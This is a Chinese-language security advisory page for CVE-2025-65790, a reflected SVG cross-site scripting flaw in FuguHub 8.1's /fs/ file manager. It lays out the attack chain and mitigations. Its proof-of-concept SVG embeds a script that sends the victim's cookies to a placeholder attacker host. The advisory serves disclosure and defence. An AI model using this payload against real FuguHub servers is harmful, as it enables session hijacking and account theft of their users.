IPBUF安全漏洞报告
English
CVE-2025-65790 CVSS 6.1 中危

CVE-2025-65790 FuguHub 8.1 反射型SVG跨站脚本漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2025-65790
漏洞类型
反射型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FuguHub 8.1

相关标签

CVE-2025-65790反射型XSSSVG XSSFuguHub跨站脚本Web文件管理器MEDIUM

漏洞概述

CVE-2025-65790是FuguHub 8.1版本中存在的一个反射型跨站脚本(XSS)漏洞。该漏洞位于FuguHub的Web文件管理器接口中,当通过/fs/路径提供SVG文件时,应用程序未能对SVG内容中的恶意脚本进行适当的清理和过滤。攻击者可以利用此漏洞在受害者的浏览器中执行任意JavaScript代码,从而窃取会话Cookie、劫持用户账户、执行恶意操作或进行钓鱼攻击。由于该漏洞需要用户交互(用户需要主动打开恶意SVG文件),因此攻击复杂度较高,但仍然对使用FuguHub文件管理功能的用户构成安全威胁。FuguHub是一款轻量级的Web文件服务器和云存储解决方案,广泛应用于个人和小型企业的文件共享场景,因此该漏洞可能影响大量部署该产品的环境。

技术细节

该漏洞的根本原因在于FuguHub 8.1的文件管理器接口(/fs/路径)在处理SVG文件时,未对SVG内容中的<script>标签或其他可能执行JavaScript的元素进行过滤或内容安全策略(CSP)限制。当用户请求一个包含恶意JavaScript代码的SVG文件时,服务器直接返回该文件内容,浏览器在解析SVG时会执行其中的内联脚本。攻击者可以通过构造特殊的SVG文件,在其中嵌入<script>alert(document.cookie)</script>等JavaScript代码,然后诱使受害者访问该文件。由于SVG文件可以通过<img>标签或直接URL访问的方式被触发,攻击者可以轻易地在钓鱼邮件或恶意网页中嵌入指向该恶意SVG文件的链接。当受害者点击链接并打开SVG文件时,恶意JavaScript代码将在受害者的浏览器上下文中执行,从而实现对用户会话的劫持或其他恶意操作。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意JavaScript代码的SVG文件,其中嵌入<script>标签用于执行任意JS代码
STEP 2
步骤2
攻击者将恶意SVG文件上传到FuguHub服务器或通过其他方式使其可通过/fs/路径访问
STEP 3
步骤3
攻击者构造钓鱼邮件或恶意网页,其中包含指向该恶意SVG文件的链接
STEP 4
步骤4
受害者收到钓鱼信息并点击链接,浏览器请求并加载恶意SVG文件
STEP 5
步骤5
浏览器解析SVG文件时执行其中的内联JavaScript代码,攻击者因此获取受害者的Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for CVE-2025-65790 PoC --> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert('XSS - Cookie Theft POC');document.location='https://attacker.com/steal?cookie='+document.cookie</script> <rect width="100" height="100" fill="red"/> <text x="10" y="50">Click to trigger XSS</text> </svg> <!-- Attack vector: Upload this SVG to FuguHub and trick victim to open it via /fs/ path -->

影响范围

FuguHub 8.1

防御指南

临时缓解措施
在官方修复发布之前,可通过以下措施临时缓解该漏洞:1)禁用或限制/fs/文件管理器接口的公开访问;2)在Web服务器层面配置Content-Security-Policy头部,禁止script执行;3)对SVG文件上传实施严格的内容类型验证;4)使用Web应用防火墙规则拦截包含<script>标签的SVG请求;5)提醒用户不要点击来源不明的SVG文件链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表